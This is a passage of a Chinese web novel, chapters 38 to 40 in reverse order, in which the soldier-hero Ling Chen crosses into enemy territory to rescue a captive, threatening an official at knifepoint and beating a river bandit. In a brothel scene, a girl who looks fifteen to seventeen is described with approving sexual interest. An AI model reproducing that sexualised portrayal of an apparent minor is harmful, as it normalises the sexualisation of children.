出了西城门后,凌晨赶着马车一路来到了江边后,将早就准备好的小舟从芦苇丛里拖了出来。 “赵大人,你先等等。” 凌晨示意赵远先待在原地不要走动后,就从地上拿起绳子,在手中紧绷了一下,嘻嘻笑着走向立在一旁的安庆知府。 “壮……壮士,老……我已经都按你说的做了,你不会还想加害于我吧?!” 安庆知府望着渐渐逼近的凌晨,脚步慌乱的向后退去,双手和脑袋一同摇摆,被吓出了一身冷汗。 “哎~~我们能安全撤离,全赖知府大人配合,小人感谢还来不及呢!我又不是杀猪刀投胎来的,没那么嗜血。” “那……那你这是……” “委屈大人先在马车里将就一晚,等到天亮舒州城里察觉异常,自会相救,大人勿忧。” “可……呜呜……” 安庆知府还要再说什么,凌晨却懒得跟他浪费时间,一刀割下他的袍袖塞进嘴里。把他五花大绑、蒙住眼睛丢进了马车里后,为了防止意外,还贴心的把他牢牢绑在马车的固定坐凳上。 看到凌晨做完这一切,从马车上跳下来后,赵远走到岸边就准备跳上小舟,却被凌晨一把拦住了。 他疑惑的望向凌晨,却看到对方将食指竖在嘴上,朝着他作了个“噤声”的动作。 凌晨将小舟船舱底下的一块木板用刀撬开,船底下的水开始往上渗。他一脚将船踢入水中后,拉着赵远的胳膊就往相反的东南方向跑去。 大约过了半个时辰后,感官只剩下听觉和嗅觉的安庆知府突然听到了隆隆的马蹄声由远而近,紧接着就传来嘈杂的叫喊声。 下一刻,塞在嘴里的绸团和蒙在眼睛上的缎布就被人三两下取掉了,他努力的眨了眨眼睛,这才看清是先前的城门守将。 不久,江边响起了一道极其愤怒的咆哮—— “给我追!活要见人,死要见尸!!” …… 两天后,等到安庆知府反应过来,派兵往东、南两个方向也进行搜捕时,凌晨已经带着赵大人踏入豫章府境内了。 两个人都穿的破破烂烂,浑身脏兮兮的,像极了逃难的民众。凌晨推着个破独轮车,赵远拄着根不规则的树枝,虽然是为了伪装,但他们脸上的疲惫感却不是假的。 凌晨感觉自己又回到了以前在先锋营遭罪的日子,而赵远就更别说了,上半辈子加起来都没吃过这么多的苦。漫长的崎岖的山路将他的脚底都磨破了,水泡、细肉与草鞋摩擦的滋味那叫一个酸爽! 最关键的是凌晨完全没有把他当贵人看待,甚至都没有当人看待。根本没有要照顾自己意思,每次出去找吃的,拿回来的都是他从来没有见过,也难以下咽的食物。有时候连口水都没有,更别说蜜水了…… 就这,他还好几次感觉到凌晨有想刀了自己的冲动。 你们能派人来救我,我很高兴。 可你们派他来,我不是很高兴。 “站住!” 就在赵远忍受着身体和心灵上的双重折磨,艰难的行路之际,前面又遇到了一处路哨。 几个五大三粗的兵痞坐在路边的棚子里,桌子上放着豆子、酒碗、酒坛和骰子,每个人的面前还放着一些零散的铜钱。 其中一个见到他们二人风尘仆仆的走了过来,随即从长凳旁提起刀来到了拒马边,甩着刀态度轻浮的说道:“路引。” 凌晨连忙换上一副谄媚的笑脸,点头哈腰的从怀里掏出早已被揉的皱巴巴的路引,双手恭敬的递了过去。 可那兵痞连看都没看,就露出一副不耐烦的神色:“你们这两个叫花子是从哪来的?大爷要的是路引!” 赵远抿了抿有些干巴的嘴唇,指着凌晨手里的路引说道:“军爷,这不就是路引吗?” “啧……” 那兵痞听罢后低着头摇摇晃晃的走到他的身前,突然抬腿,一脚就踹在了赵远的小腹上,把他踹翻在了地上! 凌晨连忙跑过去蹲在地上,伸出两只胳膊拦在脸色苍白、直冒冷汗的赵远面前,语气卑微的对兵痞说道: “军爷别动怒,莫脏了您的脚~~我这堂哥打小脑子不好,您别跟他一般见识。真不是我们不懂规矩,实在是一路走来,过了四处路哨,身上的钱都孝敬那些军爷了,现在身上一个铜子儿都拿不出来……” 那兵痞闻言顿时露出失望的眼神,骂道:“娘的,遇到两个穷鬼,真晦气!” 见他转身往回走去,凌晨连忙小心的问道:“军爷,能通融通融,放我们过去吗?” “滚!哪来的回哪去,凑够了路引再来!” 第40章 安庆府 周、唐两国大战,长江作为唐国最重要的天然屏障。沿岸到处都是塔楼寨垛,江面上也时不时的有负责这一段的官兵巡逻,这个时候还敢在长江里摆渡的只有两种人。 一种是水贼,非法抢你。 一种是唐军,合法抢你。 眼前这家伙脑袋上顶着个破斗笠,一手撑着长竹杆,一手提着弯柴刀,呲着满口大黄牙,一看就是个体户。 “大爷!我家里上有八十岁的老母,下有刚出生的孩子,我把钱都给你,你能放我一条生路吗?” 凌晨假模假样的举起双手,装出一副害怕至极的样子望着对方,祈求对方能够放自己一条生路。 然而,这位喜欢用金属工具招待过往客商的水贼显然已经属于十恶不赦的范畴了,他很享受这种将别人的生死掌握在自己手中的感觉,不仅不打算放过凌晨,还准备虐杀。 “把你身上的衣服都脱了~” “脱……脱衣服做什么?” “过来让爷爷爽爽,爽够了就给你个痛快!不然,先剁了你老二喂鱼!再把你剥皮作鼓!” 凌晨听到这话后也懒得装了,直起身子将一双手背到身后,望着江岸边被银霜裹着的树林,语气惆怅的问道: “我这一生如履薄冰,你说……我能走到对岸吗?” “小子,到了奈何桥去问阎王吧!” “唉!” 凌晨叹息一声,忽然想起了白千,于是猛的看向汉子的身后:“我靠!飞碟!” 水贼闻言一愣,连忙回头看去,发现什么都没有后,又怒气冲冲的转过头来,可哪里还有凌晨的影子。 他脸色一变,又惊又疑的将竹杆挂在草篷边,小心翼翼的握着柴刀走到凌晨刚才站立的地方察看,什么都没有。 奇怪,人呢? 刚才没听见有跳水声啊…… 水贼双膝跪在船板上,紧握着柴刀向水中看去,什么都没看到。 就在这时,身后突然传来一阵破风之声,他只感觉脑勺猛的一痛!眼前的水面、船身摇晃着变了方位,他努力的睁大眼睛,却发现只能看到一片漆黑。 …… 再次睁开眼时,是被凉水泼醒的。 船已经靠岸了,江岸树林边的一棵大树下,凌晨蹲坐在五花大绑的水贼跟前,将他藏在船篷里的银子都装进自己腰间的袋子里,不禁甩了甩有些酸胀的胳膊。 妈的…… 他平时都是看着别人撑船,感觉挺轻松悠闲的。直到刚才自己亲自用杆子撑了一次后,才发现不仅又沉又累,方向还贼难把握,好几次差点就往回划去了。 “兄……兄弟,是我有眼不识泰山了,钱你都拿走吧,饶我一条性命。” 水贼也反应了过来,知道自己遇到硬茬了,立刻以最快的速度向凌晨低头求饶。 凌晨握着手里的柴刀,在水贼密密麻麻的胡子上轻轻划动,十分随意的说道:“叫爷爷。” “爷……爷爷!爷爷饶我一条性命!” 汉子嘴上求着饶,目光却一直盯着贴在自己脸上的柴刀,生怕凌晨一个不小心划伤他。 柴刀慢慢划到他的下巴,横在脖子上,冰凉锋利的感觉从皮肤上传来,汉子吞了吞口水,身体不受控制的哆嗦了起来,竟然嘴角一瘪哭了出来。 凌晨瞬间没了逗他的兴趣,站起身语气轻松的说道:“别傻了大哥,我这人不喜欢杀人。不过你以后千万别在这里继续害人性命了,下次见面,我可不会再放过你了哦~” 汉子吸着鼻涕,抖着身子哭道:“好……好,我再也不敢了……” 凌晨十分满意的点着头站起身来,越过汉子身边离开了。 汉子劫后余生,神经被刺激的不要不要的,大口大口的喘着气,膀胱里传来一阵温热和抽搐,被吓尿了~ 下一刻,已经消失的凌晨突然从他身后大树的另一边走了出来,还朝着他热情的招了招手: “嗨~~我们又见面啦!” —— 由于没有路引,凌晨这一路上没少遇到麻烦。先是骑马被唐军截住,被迫杀人灭口。后来实在杀不过来了,就舍了马搭乘老乡的牛车,给商队交钱跟着他们走。 文若给他准备了唐国路引的,但唐军又不看路引,只看你有没有钱。凌晨骑着高头大马,他的路引就是假的;凌晨苦哈哈的跟着商队受罪,除了商队掌柜,谁还管他有没有路引。 这趟艰难的旅行着实是遭罪。 隐着身越过城门前守军的检查后,他走进城里,根本没空也没心思去欣赏别人活腻了的地方,径直朝着文若的地下交通站寻去。 “……” 望着眼前人来人往、门庭若市的温香楼,凌晨陷入了沉思。 迄今为止他见到过的文家人都是那种非常标准的儒家君子啊!这怎么还对风俗产业有所涉猎呢? 这不对吧……是这吗? “哎呦~~这位公子好生白净呀!看着有些面生,是新客嘛?” 就在凌晨发呆之际,一个身材曼妙、风韵犹存、穿红戴紫、比其他那些小姑娘大的多的老鸨十分眼尖的看到了他,立刻就上来搂住了他的胳膊,不分由说的就把他往大门里拉—— “芸香~~雨蓉~~还不快过来陪着这位公子!” 凌晨将胳膊从她的两座高耸山峰中抽了出来,一把按着她的额头将她推远了点,皱眉望着大堂里的景象。 肥猪一样的胖公子嘴里嚼着吃食,搂着香肩半露的姐儿嘴对嘴喂酒;都快被榨成干尸的瘦书生眼窝发青,一脸淫笑的扯着豪放女子的衣袖满堂乱窜;还有个胡子灰白的老登,将手中银子塞进身边女子的胸口里,趁机抓上两把后,嘟着嘴求亲亲…… 我尼玛!这特么给我干哪来了?! “我不是来……” 凌晨刚想解释,眼前这老鸨竟然胆大包天的用手中的香巾在他脸上甩了一下,打断了他说话:“哎呦~~公子先别急着说话,先看看我们这儿的姑娘再说事,也不迟嘛~~” 凌晨瞬间一股心头火起,他最讨厌这种自来熟、没有边界感的家伙了! “见过公子~” 左边这个,平肩滑嫩锁骨软,雏菊点点藏鬓间。薄纱透藕臂,玉足粉指肚,温香清沸脾、雪脯乱俗眼;朱唇轻启,惹人喉干,媚眼含怯,我见犹怜。看起来也就十五六七岁,嫩的快要滴出水来了,让人忍不住生出保护和占有的龌龊心思来。 右边这个,一柄苏簪斜刺在耳后,淡黄色的芍药花开在头顶,像是刚从花园里出来一般。如葱般白直的兰花指捏着一扇荷纱扇,流苏上的虎皮黄和淡雅的粉袂互相衬托,诗书熏陶出的知性脸上,两缕青丝顺着耳朵上的白玉坠垂在身前,被风拂起后,一股难言的宿命感莫名出现凌晨心头。 其实…… 有时候生气也挺伤肝的。 凌晨露出花痴般的表情,傻笑着问道:“妈妈,这二位姑娘……” 老鸨见凌晨由怒转笑,眉头一挑,呵呵说道:“哎呦~~叫她们陪公子好好喝上两盅解解乏!公子一看就是从外乡远道而来吧?” 凌晨的眼睛一直在眼前的羞怯萝莉和知性姐姐身上游走,听到老鸨问,擦着口水说道:“是啊是啊,唉!赶路可把人累坏了,酒就不喝了,要不咱们就直奔主题吧……” “哎呦~公子怎么这么心急呢~” 老鸨在凌晨胳膊上拍了一把,朝着两个姑娘使了使眼色,两人一左一右走了过来,各自挽住了凌晨的胳膊,顿时让他浑身一酥! 老文不仗义啊!有这福利你早拿出来啊!别说给你当护卫了,给你端夜壶都行啊! “教她们两个带公子去前柜,只要一百两银子,今晚她们就都是你的了。公子可要轻点,疼惜着些~~” 嗯? 听到这话后,凌晨瞬间清醒过来。 法克!差点忘了,这特么是青楼。那这俩女子不是早就…… 一念及此,他一脸不舍的松开两个各有千秋的江南美人,心痛的将她们推到一边后,恢复了严肃认真的模样,朝着老鸨问道: “你家东家,在城北可有亲戚?” 老鸨闻言脸色一凛,先前的风尘气没了,取而代之的是满脸谨慎。她挥退那两个姑娘,朝着四周看了看后,低声答道: “有的公子,有的,我们东家姓江。” “那就是了,你去跟他说,我是城北温家的儿子,特来寻他有事。” 老鸨恢复了笑呵呵的脸,热情的拉起凌晨的胳膊,带着他从喧闹的楼梯旁穿过,自小门出去后,走向后院深处。 —— 也不知道这个被唐国俘虏的倒霉蛋究竟是谁,竟然没有被关进大牢。文若留在这里的细作说,这位神秘的大人物五天前被押送到了安庆府衙里,他们从唐军军营里出来后一路尾随,数次出手都没能成功。最后亲眼看着他被押送进府衙里后,就再也没有出来。 凌晨懒得管他在里面遭受了什么非人的待遇,没死就行。 不对,还要能走路,不然爱死哪死哪去~~我可没有背着男人玩神庙逃亡的习惯。 隐着身钻进安庆府衙里后,凌晨在大牢里折腾了半天,还是没找到目标人物。最后实在没耐心了,干脆抓住一个狱吏,把刀架脖子上逼问,依旧没能问出个所以然来。 把狱吏五花大绑、嘴里塞着臭裹脚打晕丢进缸里后,凌晨很生气! 不能再低调了。 —— 身材胖胖的唐国安庆知府,正在书房里临摹当朝右仆射大人的真迹。可无论他怎么提笔换劲,都只能模仿到形,那股飘逸洒脱的意却怎么也摹不出来。 “吱呀~” 书房原本半掩着的门突然被风吹开了,他抬头望了一眼,不禁有些不悦。 他早就吩咐过家人和下人,如果没有重要的事,就不要打搅他陶冶情操、提升自身境界,现在怎么连看门这点小事都做不好? “岁竹,怎么回事?” …… “嘶……” 见没有人回答自己,安庆知府满脸疑惑的望向被打开的门,将手中的狼毫搁在青瓷笔山上后,十分优雅的将卷起的袖子甩了下来,拖着一身绸缎袍子走向门边查看。 可他刚离开书桌,一股冰凉的感觉就从脖子里传来,耳边也响起了一道听起来有些焦躁的声音—— “不想死就安静点!” 看着眼前的黑衣人将门合上,提着刀来到自己面前后,安庆知府压下了心中的疑惑和恐惧。对方明显是有事情要谈,而非是来刺杀自己的,不然就不会多此一举了。 于是他客气的拱手问道:“这位壮士,深夜造访寒舍,不知所为何事?若有难处,尽可说来,老夫定会为你做主。” “做个毛的主!死胖子,我问你,前几天有个周国俘虏被押到你这里了,他人现在在哪?你别跟我说你不知道啊~~” 死……死胖子??? 他是在说老夫吗? 安庆知府愣了半天才回过神来,虽然有些生气,但识时务者为俊杰,眼下是对方的主扬。他只好沉住气,轻捋着胡须问道:“壮士问这个做什么?” 凌晨最烦跟这些老不死的打交道了,问东答西的,就不能直接点?他不耐烦的朝着对方说道:“你管我做什么!我再问你一遍,人现在在哪里?” 安庆知府心中犯难,这不能告诉他啊!那人太重要了,明天就要被押付徽州了,这个节骨眼上在他这里出事,那他全家都要被问罪啊…… “壮士,你是想把人带走吗?” 见凌晨已经站起身提着刀朝自己走来了,安庆知府连忙摆着手说道:“壮士休要误会,并非老夫不愿给你,只是……若是让你把人带走了,老夫的官身不保是小,一家五十几口性命也要跟着老夫倒霉。 况且,就算把人交到你手里,你也带不出城,明天徽州的人来了,也会追赶,依老夫看不如……” 凌晨一只脚踩在椅子上,将刀架在安庆知府的脖子里,眯起眼睛盯着他—— “说重点!” “明日午时初他们会把人押出城,城东官道那边山高林深,刚好方便壮士做事。” 凌晨手中一动,冰冷的刀身就贴在了安庆知府的双下巴上,刀锋慢慢陷进肉褶子里,吓得他差点破了仪态:“壮……” “老登,你是真把我当傻子忽悠啊……” 第39章 孤身亲往 与阔别一年的文若再次相逢,凌晨也很高兴。 韩登来了,凌晨不高兴。 因为这位爷每次登门,准没好事。第一次是想把自己送去吃牢饭,还对可怜的陈啸进行了有损人道主义精神的体罚。第二次又教唆自己去偷退休老干部家里的东西,不但让自己承受道德和良心上的谴责,还没给任何劳务费, 这是第三次。 院子里的槐树下,凌晨与文若、韩登、以及被拉来凑数的王臣鹤分别坐在石桌的四个方位。每个人的头顶分别吊着三个鼓起的鱼泡,其中两个是大舅哥用嘴吹鼓的,另一个则是装满了清水。 西厢的房门开着,青柠、青樱、小云正在和钟莺一边聊天一边望着这里。小王臣鹤站在他娘身边,安静的望着槐树上的鸟窝。大舅哥在一旁充当苦力,给鱼泡吹气、灌清水,以及把弄好的鱼泡挂在他们头顶的绳子上。 解二站在大门口,好奇的打量着巷子口的那些持刀护卫,尤其是看到有些人的马脖子下还有被布遮盖的弓弩,就更觉的稀奇和神秘了。 白千端着酒壶立在石桌旁,有时也在看他们玩,有时又无意间瞥向韩登腰间的玉佩。不过只是在计算出手的角度和速度,并没有真的要动手的想法。 他不知道节度使的公子意味着什么,但当他看到冯知县朝着他们下跪后,就清醒的意识到这俩人身上的东西摸不得。 除了凌晨之外的三个人都对这个游戏很感兴趣,甲、乙、丙牌各有六张,丁牌则是有两张。 规则也很简单,大家各自抓五张牌,然后由一旁的大舅哥随意从甲乙丙三个选项中选出一个为本局的公牌,所有人按顺序依次出牌。不管你出什么,都默认你出的是公牌,丁牌可以当作任何牌出。 你的下家如果不质疑,就过。如果质疑,就检查。如果你出的这张刚好是公牌,那下家接受惩罚。如果不是,那就是你接受惩罚了。 惩罚也很简单,给你个竹签子,自己从头顶选一个鱼泡戳破,如果是空的就继续,如果被泼了一脸水就待一边去。 这三位都是大周优秀基因和高智商的代表,凌晨说完规则后他们立刻就明白了,随即就开始了挨个摸牌。 王臣鹤一本正经的仔细钻研着手中的牌,文若调整着顺序颇为轻松的看向其他三人,韩登将牌高高举起挡住自己的脸,凌晨从摸完牌后就没拿起来看过,连他自己都不知道自己摸了手什么。 四个人,四种性格,四套风格。 “石头~布!” 大舅哥背对着他们宣布本局公牌为乙后,其他三人都是单手握拳,就韩登伸直着五根指头。 凌晨看着他催促道:“你先出,快点的~” 韩登故作镇定,潇洒的从手中抽出一张,背扣了下去:“一张乙。” 他话音刚落,作为他下家的凌晨直接一拳砸在了在桌子上:“质疑!” 韩登立刻就瞪大了眼睛,不满又不解的看向凌晨:“不是……你干嘛?” “少废话,翻牌!” 韩登幽怨的看了凌晨一眼,十分不情愿的将刚才扣下去的牌翻了过来,上面写着一个大大的“丙”字。 “哈哈哈哈~来来来,韩大人,竹签拿好了,请开始你的表演。” 凌晨幸灾乐祸的将胳膊枕在石桌上,用充满期待的眼神望着他,王臣鹤和文若也饶有兴趣的看了过来。 韩登冷笑一声,握着竹签就伸向头顶的三个鱼泡,仔细观察了它们的区别后,信心满满的戳了上去。 “你们看什么?不会以为第一个就……” “啪!” 鱼泡被尖锐的竹签戳到的那一刹那,瞬间就爆了开来!里面的水倾泻而下,替韩大帅哥好好洗了把脸,头发都湿乱的贴在鬓边,肩上、脖颈处的衣料都湿透了。 “哈哈哈哈~” 其他人看到他这副倒霉样,都忍不住笑出声来,王臣鹤是儒雅的笑,文若是爽朗的笑,凌晨是双脚蹲在凳子上拍着牌桌笑。 韩登面无表情的伸出手,抹了一把脸上的水渍后,低下身子从靴子外的挂带上抽出一把精制短刀放在了桌子上—— “继续,今天谁也别想走。” 王臣鹤出牌很乱,让人很难捉摸他到底是真是假,看表情也看不出什么来。而且这小子看着一本正经的,有时候也会耍小心思,明明出的是公牌,脸上却露出一丝不自然的痕迹,害的凌晨忍不住质疑他,结果戳爆了一个鱼泡。 幸好他平时经常修桥补墙扶老奶奶过马路,所以才没戳到有水的那个。 文若的牌风就更奇怪了,每次都是先三后二,大开大合,举手投足间无比自信。王臣鹤不相信他的牌每次都那么好,心中犹豫了一下后,突然袭击了他一次,结果踢到了铁板。幸好他运气也不错,并没有水落下来。 一旁干坐着的落汤鸡看到他俩都没事,脸色更加不服气了,凭什么?! “去岁一别,为兄很是想念贤弟,奈何军务繁忙,一直没有时间来看看你。家父有时闲暇静坐,也会提及贤弟。” 趁着出牌的间隙,文若和凌晨交谈了起来。 “大人的身体可好?” “挺好的,一切安康。贤弟在家中如何?” 凌晨犹豫着扣出一张丁牌后,瞥向一旁盯着桌面的韩登:“大多数时候过的挺滋润,就是有时候会被人打扰。” 文若顺着他的目光看向韩登,不禁失笑道:“贤弟勿怪,这次来寻你,也是有些琐事要打扰你……” “大哥有事只管吩咐就行,以咱们的交情,说打扰就见外了。不像有些人,一点边界感都没有,只吃不拉。” 韩登听罢撩开额角湿发,刚想要出言反驳,却突然发现他好像确实没有给过凌晨什么好处…… 于是,只能咽回刚准备要发的脾气。 文若握着牌,望着抬头戳鱼泡的王臣鹤说道:“这位王兄……” “自己人大哥,济州王家的,以前在卢龙军干过。” 听到凌晨叫自己不用避着,文若点了点头,继续说道: “前段日子,我们江淮军中有位袍泽被唐军俘虏了,愚兄多次遣细作前去营救,奈何唐国看守的很严密,一直无法得手。本来是不想打扰贤弟的,可……愚兄实在是一筹莫展了。” 凌晨听后在心中思索起来,老文父子二人都对自己不错,文若又亲自登门请自己出山,于情于理也该帮上一把。 可是,能让一镇节度使的公子亲自登门相请,足见被俘之人的地位和重要性。如果不是十万火急,他也不会从前线专程跑到临颍来,在这陪自己打牌消遣。 别忘了,江淮这会还在打仗呢! 嘶!难道…… 凌晨用询问的目光看向文若:“不会是又……” 文若连忙摇了摇头:“不是不是,贤弟误会了。” 哦,不是老文整活就行,我还以为他又给我拉了坨大的。 “此事好说,不过大哥你也是知道的,我做事一向只管做,不保成。我也不敢跟你打包票说能把人带回来,万一失败了……” 文若握着竹签戳破头顶的鱼泡,虚惊一扬后笑着对凌晨说道:“贤弟肯出手相帮,愚兄就已经很感激了。此事困难重重,许多的细作、军将都失败了,岂敢苛求务必功成?更不要说怨责贤弟了。贤弟只管放手去做,成与不成,全看天意;归来之后,都有重谢。” 哎呀~~ 你听听,你听听人家文若的境界和语言艺术,要不说咱愿意给人家打工呢~老文做事地道,文若也不含糊,只有这样的人才配剥削我的劳动价值。 一念及此,凌晨扭头看向一旁的韩登,韩登被他看的一愣:“看我做什么?” “看你来气!” 都是节度使的儿子,你他娘还在京城干着抄家查账的活,手里的钱不比文若多?迄今为止给过一个子儿吗?老子还给你倒贴了一顿饭,没有对比就没有伤害,真是越想越气! 韩登自知理亏,可这那也不能全怪他啊! 哥们是刑部司狱的老大啊!让一个小小的百姓替自己干活,不该是一种荣幸么?再说了,他对凌晨已经相当客气了,几乎是公平交换。他也没有追究对方屠了一百多人的血案不是?为此还被秋官喷了一脸唾沫星子呢~ “这次跟着我大哥来,又憋着什么坏心眼呢?” 听到凌晨没好气的出声询问,韩登耸着双肩说道:“没别的,跟我姐夫是同一件事。” 嗯? 姐夫? 同一件事? “你们是……” 见凌晨疑惑,文若笑着解释道:“没错,他是我妻弟。” 这下轮到凌晨傻眼了。 大周皇帝会允许两个手握重兵的节度使结为儿女亲家吗?据他所知,名为京官、实为留京质子的韩登可是关中节度使的嫡长子,他的姐姐……那不就是嫡长女吗? 文若在家里排行老几他不知道,可从老文对他的倚重和他自己说过的话来看,明显是要继承江淮军领导权的,就算不是长子,那也肯定是嫡子呀! 这合理吗?他们就不怕皇帝猜忌吗? 抛开这些不谈,他俩这次来找自己是为了同一件事,那也就是说…… 自己要救的那个人,地位超然。 “啪!” 被带着鱼腥味的水泼了一脸后,凌晨抹去脸上的水,呸了两口后,开口问道:“这次要救的人……我能知道他叫啥不?” “不能。” “别。” 韩登和文若几乎是同时开口的,顿了一下后,文若用抱歉的眼神看着凌晨说道: “贤弟勿要生出嫌隙之心,不是我们不愿意将实情告知于你,实在是此事牵扯有些广,不便透露。你应该明白,以你对文家的恩情,我们是决计不忍害你的。” 韩登也点头说道:“对啊凌晨,这事跟上次那事差不多,你不知道,要比知道的好。你不信我,总该信我姐夫吧?” “……” 行吧,咱也不是那爱钻牛角尖的人,问你们不行,等我救了那人直接问他不就得了? 不把小时候尿床的事抖个干净,老子反手就把他塞回唐国人手里。 这把骗子酒馆,最终在王臣鹤的绝地反击中迎来了结局,险胜了文若。 —— 虽然文若嘴上说着不急,可凌晨不能真慢悠悠的准备。汝南文家对自己着实不薄,这次给青柠爹爹和祖先的祭告中又给足了面子和情绪价值,怠慢了人家有失礼数。 于是凌晨第二天就准备跟着他们一道出发了。 青柠不舍得拉住他的手,望着紧闭的房门,叹着气默默垂泪。 女孩子心思细腻,感情丰富,有时候真的让人很无奈。尽管凌晨觉得没什么大不了的,就是一趟简单的公费旅游,可在青柠眼中,这次南下又将是一扬漫长的离别。 “乖~不要哭了,你相公什么人你还不清楚吗?走到哪里都是我欺负别人,还能有人伤了我不成?” 抱在怀里的青柠低身抽泣着说道:“可……可这次是去唐国,人生地不熟的,还到处是敌国的人……” 凌晨耐着性子,轻轻抚摸着她的脸蛋温柔的劝慰道: “敌国的人不也是人么?只要是人,就都是肉体凡胎,有七情六欲,我单手就能拿捏。你呢~就跟樱儿、小云她们好好在家待着,现在有咱哥守护着你,我就更安心了。你放心,我很快就会回来的,到时候教你画画,乖昂~” 青柠红着眼眶抬起头,疑惑的问道:“相公还会作画?” “那当然,当年高试时,我可是艺术生里文化成绩最高的,文化生里素描速写最好的~” 青柠被他说的更懵了,相公还参加过科举?没听说哪里的科举还要作画啊? “那为什么……” “唉,最后以4分之差落榜了……” —— 文若和韩登一再要求给凌晨配一批身经百战的老兵和身手不俗的刑部武官,却被凌晨都给拒绝了。 要那些个拖油瓶干什么?我是去办事还是当奶妈?有他们在我还怎么开挂?知道了具体的关押地点就行了,放那脱裤子的屁干嘛? 安庆府,江面。 晚风席卷衣衫,猎猎作响。凌晨负手立于船头之上,望着滚滚长江水奔腾着东去大海,皓月当空,夜明如昼,心底顿生豪情。 邀舟同宿,青山深处。天色映晚幕,月影照径出,乌濛江上飞白鹭,西陵渡。 晓风吹动,谁家旗鼓?登临人北顾,当年来时路,千秋过往尘与土,应如故。 正当他沉浸在美不胜收的江南月色中心旷神怡之际,身后传来了船家和蔼的声音—— “客人,到江心了。” 第38章 祭祖 面前的案桌前,摆着笔山、镇石、砚台、册目,以及十几张状告县尉凌晨和捕头刘文越欺压商户、无故刁难的讼纸。 刘文越站在他对面的大堂中央,左手提着腰刀,静静的垂立着。 冯延抬眉审视了他一眼,缓缓将茶盏放在了桌面上,开口问道:“他最近在干什么?” “养猪。” “……” 冯延的眉心微微皱成川字,有人状告凌晨他倒不觉得有什么,可你一个县尉不在县衙当值就算了,居然跑去养猪! 这事儿传出去,县衙的脸面何在?官府的体统何在? “越来越荒唐了,老夫当初真是猪油蒙了心,把他抬上县尉一座……” 刘文越看了看冯延的脸色,心中微微思考了一下,替凌晨润色道:“凌县尉说,他要让咱们临颍的百姓家家碗里有肉块,户户棚里有牛车。” 冯延张了张嘴,想骂,又发现还真不好骂。 等等,难道他还钻研怎么养牛? 唉! 也难怪,当初在江淮军中,文公的青睐他尚且婉辞了,自己这个县尉……怕是真入不了他的眼。 冯延不禁在心中疑惑起来,一个武艺高强、深通世故、脑袋还挺灵光的年轻人,不努力上进、广结士林,以求为百姓造福、扬名立万,那他想干什么? 人生总得有个目标吧? “你下去吧。” 冯延单手肘在桌子上,用手捋着自己的山羊须,陷入了沉思之中。 刘文越却没急着走,而是小心翼翼的指着桌子上的那些讼纸问道:“大人,那这些……” “哦,拿去柴房做饭。” “是。” —— 正午时分,天空一片愁云惨雾,街上下着小雨。临近秋末,天气寒冷,行人稀少,车马匆匆。 刚跟望云镇乡亲们传授完母猪产后护理知识的凌晨从牛车上跳了下来,与解二道别约定好明天再见面后,就将双手塞进袖筒里,缩着身子转进巷子里,朝着家中走去。 等他快到院门口时,才突然发现自己家门前站着一个人。 那人一身棕袍,膀大腰圆,身体敦厚壮实。黑色腰带上缠着袋子和腰刀,头顶扎着白巾,面色皂红。浓眉向外竖,阔嘴形卧弓,从两鬓开始一直延伸到下巴,全是钢针一般的胡须。 尤其是再配上一双豹眼,周身萦绕着一圈煞气。 没错,就是煞气。 这股气息让人很不舒服,那是一种对生命的漠视。 凌晨皱眉问道:“你找谁?” “小兄弟,你住在这里吗?” 凌晨将手从袖筒里拿了出来,负手而立道:“对,有事吗?” 汉子再次扭头望向高大的门头,将手中提着的一个袋子放在了地上,满是伤疤的宽大手掌握在了腰间的刀柄上: “这里以前住着一个小姑娘,你知道她去哪里了吗?” 凌晨下巴微微扬起,不屑的看着他的手说道:“你很喜欢跟人聊天?我不喜欢~再不报上名号,我让你躺地上。” 汉子朝着凌晨转过身来,缓缓抽出了刀鞘里的利刃。刀背宽厚,刀刃锋利无比,根部还有没有擦洗干净的血凝结成的污垢,藏在蜿蜒的纹路里。 “谁会躺在地上,还很难说。” 凌晨甩了甩手腕,冷笑着说道:“行,刚好活动活动筋……” “哥!!!” 就在凌晨准备好好让眼前的汉子见识见识什么叫惊喜时,身后突然传来一声尖锐到破音的惊叫声,紧接着他就被人撞了一下胳膊。 然后,他就看到自己的老婆张开双臂扑进了那壮汉的怀里,咧着嘴嚎啕大哭了起来。 还没反应过来呢,另一边也被撞了一下,小姨子也提着裙子跑到那汉子身边,拉住他的胳膊抹起了眼泪。 那汉子在见到青柠和青樱后,一身煞气消散于无,目光变得柔和起来。他用宽阔的胳膊搂住青柠的肩膀,又张开另一只手把青樱也搂进了怀里。 而凌晨只能眼睁睁的看着他抱着自己的老婆和小姨子,还毫无办法。 哎?这股无能丈夫的即视感是怎么回事? 哭了半天后,青柠才转身朝着凌晨看了一眼,凌晨连忙小碎步跑上前去,刚才的睥睨气势荡然无存,有些心虚的看着汉子。 “相公,这是咱哥。哥,这是你妹夫凌晨,那个是住在咱家的小云。” 大舅哥上下打量着凌晨,对他点了点头,凌晨也朝着他抱拳喊道:“不好意思哥,刚才没认出你,我还以为是哪里的仇家上门呢~” “没事,我也以为是你把柠儿逼走,占了我们家的院子。如果不是她回来的及时,怕真要误伤了你。” 呵呵~ 误伤我?我误伤你还差不多。 几人欢欢喜喜的进到了院子里,大舅哥望着焕然一新的院落,以及妹妹们身上得体的衣服,猜想是凌晨带来的改变,因此看他也顺眼了许多。 “哥,你快坐下,我这就跟樱儿小云去给你们煮酒烫茶!” 青柠笑的眼睛都弯了,原本她都已经在心里认定哥哥是回不来了,没想到竟然完完整整的回来了!不但回来了,身体也壮实了好多。 再也没有比这更开心的事了! 三个女孩欢欢喜喜的跑去厨房后,凌晨和大舅哥就这么坐在正堂里,气氛有点尴尬。 平时最让人舒心的家如今却有点像热锅,而自己就是那只蚂蚁。在面对任何人时,都没有这种如鲠在喉、如芒在背、如坐针毡的感觉。 还是大舅哥率先打破尴尬,开口问了起来:“妹夫。” “哎~怎么了哥?” “你平常做的什么营生?家里的屋院是什么时候翻修的?” 见大舅哥发问,临颍的南天一霸乖巧的像个学生,表情甚至有点谄媚的回答道: “我最近在教庄子里的乡亲们科学养猪和给耕牛人工配种,咱家院子是去年我从征回来后修的。” 听到凌晨还从过军,大舅哥看他更顺眼了:“那你在军中是负责什么?” “呃……起初是在先锋营干杂活,后来侥幸有了点军功,就被调到亲卫营了,然后一直待到结束。” 大舅哥目露疑惑:“从先锋营调到亲卫营?你在哪个将军帐下?” “江淮军的文训。” “嘶……” 大舅哥看向凌晨的眼神都发生了变化,那可是江淮节度使啊!自己这妹夫也就看着个子高点,并不壮实,倒底是立了什么功劳,能从底层一步登天啊? 